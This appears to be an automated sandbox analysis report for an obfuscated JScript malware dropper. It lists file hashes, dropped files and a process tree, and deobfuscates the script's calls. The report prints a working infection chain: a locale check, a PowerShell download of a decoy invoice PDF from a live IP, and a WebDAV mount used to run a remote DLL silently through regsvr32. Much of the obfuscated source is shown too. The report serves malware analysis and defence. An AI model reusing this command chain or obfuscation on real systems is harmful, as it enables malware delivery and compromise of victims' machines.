Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16472), with CRLF line terminators
Entropy (8bit):	4.913723820790287
TrID:
File name:	1972511502582515381.js
File size:	20'038 bytes
MD5:	54059723b7837044260ccc841d535b03
SHA1:	db2f2d1138d4cec25531f2c0e1687ee720d766fd
SHA256:	b5615b34c11ee0fc9a55249bb36086a1f008a57ff9abbdaa44e258943ceaabe1
SHA512:	9942ba09af475b255d380bf8b8938b9425d8994ff61ee42ae13320505845577c74b96a3b89060b63fe3259bd4cdc50f85d99bf96e60fdee9c9a046dc7daba7ae
SSDEEP:	192:tKKieHZFeVOYZOHl9AYoC34STBvlAVZoDU4uBhHb6m38S:QK/FvYY9HhXdvsQ88S
TLSH:	149273EBE453CAA7DEF410EC24DB11AD125402014FEA64859845E8F597A0BC237FBF7A
File Content Preview:	function ebpzekuj(){ebxfx=[1031,3079,5127,4103,2055,3072];var zrnet=this[xnorrymm+xpdwuigf+scjktss+xpxgmfyp+evung+qnxibyd+cofanmuh+eojjcoyft](this[proeibnl+wmuipft+kntzytyk+scjktss+gzibnjfx+xnorrymm+eojjcoyft][ovuqvhr+scjktss+evung+xpdwuigf+eojjcoyft+evun

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	13:01:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js"
Imagebase:	0x7ff726c70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:01:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll
Imagebase:	0x7ff6664c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:01:16
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:01:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:01:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:01:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6664c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:01:21
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67fe90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:01:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:01:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:01:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,12254396547389125346,4027374144643882366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ebpzekuj() {	ebpzekuj() ➔ undefined
1	ebxfx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zrnet = this[xnorrymm + xpdwuigf + scjktss + xpxgmfyp + evung + qnxibyd + cofanmuh + eojjcoyft] ( this[proeibnl + wmuipft + kntzytyk + scjktss + gzibnjfx + xnorrymm + eojjcoyft][ovuqvhr + scjktss + evung + xpdwuigf + eojjcoyft + evung + yzsmdz + crtnhwzyk + thsmkamd + evung + kntzytyk + eojjcoyft] ( proeibnl + wmuipft + kntzytyk + scjktss + gzibnjfx + xnorrymm + eojjcoyft + ncqljaqyy + wmuipft + mopuv + evung + gvobbg + gvobbg ) [jzxwtndj + evung + tavnbxg + jzxwtndj + evung + xpdwuigf + stajev] ( oqowu + hlpgayje + pqydu + hkmxm + uicpjprfe + ovuqvhr + lyzyv + jzxwtndj + jzxwtndj + pqydu + pkogzt + bocbpkvn + uicpjprfe + lyzyv + wmuipft + pqydu + jzxwtndj + jbzocbyc + ovuqvhr + xnzagzvp + cofanmuh + eojjcoyft + scjktss + xnzagzvp + gvobbg + zwvhranh + hcbtip + xpdwuigf + cofanmuh + evung + gvobbg + jbzocbyc + qnxibyd + cofanmuh + eojjcoyft + evung + scjktss + cofanmuh + xpdwuigf + eojjcoyft + gzibnjfx + xnzagzvp + cofanmuh + xpdwuigf + gvobbg + jbzocbyc + jpasdpg + xnzagzvp + kntzytyk + xpdwuigf + gvobbg + evung ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hxfiua = 0 ; hxfiua < ebxfx[gvobbg + evung + cofanmuh + tavnbxg + eojjcoyft + mopuv] ; ++ hxfiua )
4	{
5	if ( zrnet == ebxfx[hxfiua] )
6	{
7	zrnet = true;
8	break ;
9	}
10	}
11	if ( zrnet !== true )
12	this[proeibnl + wmuipft + kntzytyk + scjktss + gzibnjfx + xnorrymm + eojjcoyft][fgwhrv + wdcawm + gzibnjfx + eojjcoyft] ( );
13	this[proeibnl + wmuipft + kntzytyk + scjktss + gzibnjfx + xnorrymm + eojjcoyft][ovuqvhr + scjktss + evung + xpdwuigf + eojjcoyft + evung + yzsmdz + crtnhwzyk + thsmkamd + evung + kntzytyk + eojjcoyft] ( proeibnl + wmuipft + kntzytyk + scjktss + gzibnjfx + xnorrymm + eojjcoyft + ncqljaqyy + wmuipft + mopuv + evung + gvobbg + gvobbg ) [scjktss + wdcawm + cofanmuh] ( kntzytyk + ypykmvwa + stajev + zwvhranh + zgkuaabay + kntzytyk + zwvhranh + xnorrymm + xnzagzvp + kyaqmy + evung + scjktss + xpxgmfyp + mopuv + evung + gvobbg + gvobbg + ncqljaqyy + evung + vzeekasc + evung + zwvhranh + riakw + ovuqvhr + xnzagzvp + ypykmvwa + ypykmvwa + xpdwuigf + cofanmuh + stajev + zwvhranh + osgos + qnxibyd + cofanmuh + qnhlb + xnzagzvp + stpgnew + evung + riakw + proeibnl + evung + crtnhwzyk + jzxwtndj + evung + smuwtj + wdcawm + evung + xpxgmfyp + eojjcoyft + zwvhranh + riakw + yzsmdz + wdcawm + eojjcoyft + verfexek + gzibnjfx + gvobbg + evung + zwvhranh + kaatmiz + eojjcoyft + evung + ypykmvwa + xnorrymm + kaatmiz + jbzocbyc + gzibnjfx + cofanmuh + qnhlb + xnzagzvp + gzibnjfx + kntzytyk + evung + ncqljaqyy + xnorrymm + stajev + mykhyxac + zwvhranh + mopuv + eojjcoyft + eojjcoyft + xnorrymm + saoemhdt + zgkuaabay + zgkuaabay + bgddrj + acumx + zuwea + ncqljaqyy + bgddrj + vnrvysctg + zuwea + ncqljaqyy + bgddrj + ncqljaqyy + ychqk + cpbxcfak + hynfec + zgkuaabay + gzibnjfx + cofanmuh + qnhlb + xnzagzvp + gzibnjfx + kntzytyk + evung + ncqljaqyy + xnorrymm + mopuv + xnorrymm + osgos + kppqoy + kppqoy + xpxgmfyp + eojjcoyft + xpdwuigf + scjktss + eojjcoyft + zwvhranh + kaatmiz + eojjcoyft + evung + ypykmvwa + xnorrymm + kaatmiz + jbzocbyc + gzibnjfx + cofanmuh + qnhlb + xnzagzvp + gzibnjfx + kntzytyk + evung + ncqljaqyy + xnorrymm + stajev + mykhyxac + kppqoy + kppqoy + kntzytyk + ypykmvwa + stajev + zwvhranh + zgkuaabay + kntzytyk + zwvhranh + cofanmuh + evung + eojjcoyft + zwvhranh + wdcawm + xpxgmfyp + evung + zwvhranh + jbzocbyc + jbzocbyc + bgddrj + acumx + zuwea + ncqljaqyy + bgddrj + vnrvysctg + zuwea + ncqljaqyy + bgddrj + ncqljaqyy + ychqk + cpbxcfak + hynfec + jzschkiau + ukrtayqhn + ukrtayqhn + ukrtayqhn + ukrtayqhn + jbzocbyc + stajev + xpdwuigf + qnhlb + kyaqmy + kyaqmy + kyaqmy + scjktss + xnzagzvp + xnzagzvp + eojjcoyft + jbzocbyc + kppqoy + kppqoy + kntzytyk + ypykmvwa + stajev + zwvhranh + zgkuaabay + kntzytyk + zwvhranh + scjktss + evung + tavnbxg + xpxgmfyp + qnhlb + scjktss + zuwea + ychqk + zwvhranh + zgkuaabay + xpxgmfyp + zwvhranh + jbzocbyc + jbzocbyc + bgddrj + acumx + zuwea + ncqljaqyy + bgddrj + vnrvysctg + zuwea + ncqljaqyy + bgddrj + ncqljaqyy + ychqk + cpbxcfak + hynfec + jzschkiau + ukrtayqhn + ukrtayqhn + ukrtayqhn + ukrtayqhn + jbzocbyc + stajev + xpdwuigf + qnhlb + kyaqmy + kyaqmy + kyaqmy + scjktss + xnzagzvp + xnzagzvp + eojjcoyft + jbzocbyc + ychqk + ychqk + wgzcxkcr + vnrvysctg + ukrtayqhn + ychqk + ukrtayqhn + zuwea + vnrvysctg + wgzcxkcr + zuwea + ychqk + hynfec + wgzcxkcr + ychqk + ncqljaqyy + stajev + gvobbg + gvobbg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll",0,false) ➔ 0
14	}
15	cofanmuh = "V";
16	cofanmuh = "o";
17	cofanmuh = "e";
18	cofanmuh = "B";
19	cofanmuh = "H";
20	cofanmuh = "e";
21	cofanmuh = "c";
22	cofanmuh = "d";
23	cofanmuh = "D";
24	cofanmuh = "B";
25	cofanmuh = "P";
26	cofanmuh = "S";
27	cofanmuh = "v";
28	cofanmuh = "I";
29	cofanmuh = "b";
30	cofanmuh = "w";
31	cofanmuh = "Z";
32	cofanmuh = "n";
33	mopuv = "Z";
34	mopuv = "w";
35	mopuv = "h";
36	acumx = "b";
37	acumx = "X";
38	acumx = "W";
39	acumx = "D";
40	acumx = "Z";
41	acumx = "S";
42	acumx = "g";
43	acumx = "W";
44	acumx = "f";
45	acumx = "i";
46	acumx = "f";
47	acumx = "T";
48	acumx = "K";
49	acumx = "l";
50	acumx = "G";
51	acumx = "Y";
52	acumx = "M";
53	acumx = "o";
54	acumx = "O";
55	acumx = "O";
56	acumx = "y";
57	acumx = "i";
58	acumx = "M";
59	acumx = "v";
60	acumx = "o";
61	acumx = "A";
62	acumx = "k";
63	acumx = "R";
64	acumx = "n";
65	acumx = "r";
66	acumx = "l";
67	acumx = "u";
68	acumx = "s";
69	acumx = "f";
70	acumx = "x";
71	acumx = "M";
72	acumx = "M";
73	acumx = "h";
74	acumx = "T";
75	acumx = "C";
76	acumx = "M";
77	acumx = "J";
78	acumx = "o";
79	acumx = "P";
80	acumx = "9";
81	ovuqvhr = "H";
82	ovuqvhr = "w";
83	ovuqvhr = "g";
84	ovuqvhr = "p";
85	ovuqvhr = "y";
86	ovuqvhr = "h";
87	ovuqvhr = "B";
88	ovuqvhr = "e";
89	ovuqvhr = "L";
90	ovuqvhr = "l";
91	ovuqvhr = "A";
92	ovuqvhr = "V";
93	ovuqvhr = "L";
94	ovuqvhr = "G";
95	ovuqvhr = "v";
96	ovuqvhr = "S";
97	ovuqvhr = "W";
98	ovuqvhr = "U";
99	ovuqvhr = "F";
100	ovuqvhr = "f";
101	ovuqvhr = "s";
102	ovuqvhr = "e";
103	ovuqvhr = "T";
104	ovuqvhr = "z";
105	ovuqvhr = "Z";
106	ovuqvhr = "N";
107	ovuqvhr = "H";
108	ovuqvhr = "N";
109	ovuqvhr = "M";
110	ovuqvhr = "F";
111	ovuqvhr = "N";
112	ovuqvhr = "C";
113	thsmkamd = "q";
114	thsmkamd = "O";
115	thsmkamd = "Y";
116	thsmkamd = "Z";
117	thsmkamd = "a";
118	thsmkamd = "R";
119	thsmkamd = "Z";
120	thsmkamd = "x";
121	thsmkamd = "M";
122	thsmkamd = "X";
123	thsmkamd = "R";
124	thsmkamd = "V";
125	thsmkamd = "w";
126	thsmkamd = "G";
127	thsmkamd = "k";
128	thsmkamd = "o";
129	thsmkamd = "M";
130	thsmkamd = "M";
131	thsmkamd = "n";
132	thsmkamd = "q";
133	thsmkamd = "n";
134	thsmkamd = "B";
135	thsmkamd = "N";
136	thsmkamd = "A";
137	thsmkamd = "E";
138	thsmkamd = "B";
139	thsmkamd = "M";
140	thsmkamd = "K";
141	thsmkamd = "K";
142	thsmkamd = "A";
143	thsmkamd = "R";
144	thsmkamd = "u";
145	thsmkamd = "l";
146	thsmkamd = "C";
147	thsmkamd = "A";
148	thsmkamd = "v";
149	thsmkamd = "I";
150	thsmkamd = "f";
151	thsmkamd = "j";
152	lyzyv = "J";
153	lyzyv = "l";
154	lyzyv = "C";
155	lyzyv = "w";
156	lyzyv = "P";
157	lyzyv = "x";
158	lyzyv = "v";
159	lyzyv = "K";
160	lyzyv = "g";
161	lyzyv = "M";
162	lyzyv = "F";
163	lyzyv = "V";
164	lyzyv = "T";
165	lyzyv = "I";
166	lyzyv = "U";
167	pqydu = "I";
168	pqydu = "i";
169	pqydu = "R";
170	pqydu = "C";
171	pqydu = "H";
172	pqydu = "c";
173	pqydu = "z";
174	pqydu = "J";
175	pqydu = "m";
176	pqydu = "z";
177	pqydu = "I";
178	pqydu = "B";
179	pqydu = "L";
180	pqydu = "x";
181	pqydu = "J";
182	pqydu = "z";
183	pqydu = "E";
184	pqydu = "n";
185	pqydu = "a";
186	pqydu = "r";
187	pqydu = "O";
188	pqydu = "T";
189	pqydu = "w";
190	pqydu = "w";
191	pqydu = "S";
192	pqydu = "d";
193	pqydu = "U";
194	pqydu = "i";
195	pqydu = "N";
196	pqydu = "v";
197	pqydu = "J";
198	pqydu = "R";
199	pqydu = "k";
200	pqydu = "s";
201	pqydu = "X";
202	pqydu = "I";
203	pqydu = "E";
204	mykhyxac = "t";
205	mykhyxac = "A";
206	mykhyxac = "h";
207	mykhyxac = "X";
208	mykhyxac = "a";
209	mykhyxac = "v";
210	mykhyxac = "v";
211	mykhyxac = "m";
212	mykhyxac = "c";
213	mykhyxac = "m";
214	mykhyxac = "d";
215	mykhyxac = "K";
216	mykhyxac = "e";
217	mykhyxac = "M";
218	mykhyxac = "c";
219	mykhyxac = "h";
220	mykhyxac = "B";
221	mykhyxac = "M";
222	mykhyxac = "q";
223	mykhyxac = "f";
224	tavnbxg = "F";
225	tavnbxg = "j";
226	tavnbxg = "V";
227	tavnbxg = "s";
228	tavnbxg = "M";
229	tavnbxg = "A";
230	tavnbxg = "S";
231	tavnbxg = "k";
232	tavnbxg = "X";
233	tavnbxg = "L";
234	tavnbxg = "O";
235	tavnbxg = "H";
236	tavnbxg = "G";
237	tavnbxg = "B";
238	tavnbxg = "p";
239	tavnbxg = "S";
240	tavnbxg = "z";
241	tavnbxg = "w";
242	tavnbxg = "g";
243	tavnbxg = "V";
244	tavnbxg = "P";
245	tavnbxg = "D";
246	tavnbxg = "X";
247	tavnbxg = "f";
248	tavnbxg = "T";
249	tavnbxg = "B";
250	tavnbxg = "i";
251	tavnbxg = "B";
252	tavnbxg = "i";
253	tavnbxg = "F";
254	tavnbxg = "L";
255	tavnbxg = "V";
256	tavnbxg = "h";
257	tavnbxg = "e";
258	tavnbxg = "S";
259	tavnbxg = "H";
260	tavnbxg = "W";
261	tavnbxg = "U";
262	tavnbxg = "F";
263	tavnbxg = "g";
264	smuwtj = "R";
265	smuwtj = "i";
266	smuwtj = "E";
267	smuwtj = "g";
268	smuwtj = "i";
269	smuwtj = "H";
270	smuwtj = "h";
271	smuwtj = "L";
272	smuwtj = "h";
273	smuwtj = "M";
274	smuwtj = "J";
275	smuwtj = "u";
276	smuwtj = "e";
277	smuwtj = "q";
278	zwvhranh = "B";
279	zwvhranh = "H";
280	zwvhranh = "w";
281	zwvhranh = "g";
282	zwvhranh = "c";
283	zwvhranh = "H";
284	zwvhranh = "K";
285	zwvhranh = "Y";
286	zwvhranh = "u";
287	zwvhranh = "q";
288	zwvhranh = "y";
289	zwvhranh = "r";
290	zwvhranh = "L";
291	zwvhranh = "R";
292	zwvhranh = "G";
293	zwvhranh = "V";
294	zwvhranh = "x";
295	zwvhranh = "N";
296	zwvhranh = "z";
297	zwvhranh = "m";
298	zwvhranh = "g";
299	zwvhranh = "v";
300	zwvhranh = "q";
301	zwvhranh = "s";
302	zwvhranh = "s";
303	zwvhranh = "p";
304	zwvhranh = "c";
305	zwvhranh = "s";
306	zwvhranh = "U";
307	zwvhranh = "v";
308	zwvhranh = "b";
309	zwvhranh = "W";
310	zwvhranh = "B";
311	zwvhranh = "F";
312	zwvhranh = "i";
313	zwvhranh = "h";
314	zwvhranh = "q";
315	zwvhranh = "r";
316	zwvhranh = "Y";
317	zwvhranh = "U";
318	zwvhranh = "I";
319	zwvhranh = "g";
320	zwvhranh = "O";
321	zwvhranh = " ";
322	qnhlb = "i";
323	qnhlb = "j";
324	qnhlb = "b";
325	qnhlb = "E";
326	qnhlb = "e";
327	qnhlb = "u";
328	qnhlb = "X";
329	qnhlb = "R";
330	qnhlb = "R";
331	qnhlb = "H";
332	qnhlb = "o";
333	qnhlb = "B";
334	qnhlb = "z";
335	qnhlb = "k";
336	qnhlb = "g";
337	qnhlb = "p";
338	qnhlb = "U";
339	qnhlb = "W";
340	qnhlb = "k";
341	qnhlb = "k";
342	qnhlb = "H";
343	qnhlb = "r";
344	qnhlb = "K";
345	qnhlb = "g";
346	qnhlb = "t";
347	qnhlb = "h";
348	qnhlb = "q";
349	qnhlb = "G";
350	qnhlb = "H";
351	qnhlb = "m";
352	qnhlb = "q";
353	qnhlb = "E";
